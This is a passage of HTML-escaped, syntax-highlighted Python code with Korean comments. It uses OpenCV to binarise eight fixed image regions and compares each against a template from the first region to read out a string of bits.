class=&quot;n&quot;&gt;THRESH_BINARY_INV&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;THRESH_OTSU&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;bw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dilate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ones&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uint8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iterations&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;best_subset_match_fraction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;region_mask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndarray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;template_mask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndarray&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;max overlap fraction of template inside region.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;reg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;region_mask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;astype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uint8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tpl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;template_mask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;astype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;uint8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;rh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shape&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;th&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shape&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;th&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rh&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;scale&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;th&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;scale&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scale&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;new_w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scale&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;new_h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;th&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scale&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;tpl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tpl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;interpolation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;INTER_NEAREST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;th&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shape&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;tpl_ones&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count_nonzero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tpl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl_ones&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;1.0&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count_nonzero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;conv&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filter2D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;astype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;float32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tpl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;astype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;float32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;best&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;best&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tpl_ones&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;bits_from_fixed_regions_with_template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;pil_img&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sim_threshold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SIM_THRESHOLD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;center_frac_x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CENTER_FRAC_X&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;center_frac_y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CENTER_FRAC_Y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Tuple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Tuple&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
    0번 구역 중앙 조각 템플릿으로 각 구역 포함율(최대 겹침) 비교 → 비트(0/1)
    - 첫 비트는 무조건 0
    &quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;img&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pil_img&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;H&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;W&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;W&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BASE_W&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;H&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BASE_H&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;gray&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cvtColor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;img&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;COLOR_RGB2GRAY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;masks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndarray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;x0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;X_BOUNDS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;x1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;X_BOUNDS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;y0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Y_TOP&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;y1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Y_BOTTOM&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;masks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binarize_crop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# 0번 구역 → 중앙 템플릿
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;ref&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;masks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;rh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shape&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tpl_w&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;center_frac_x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
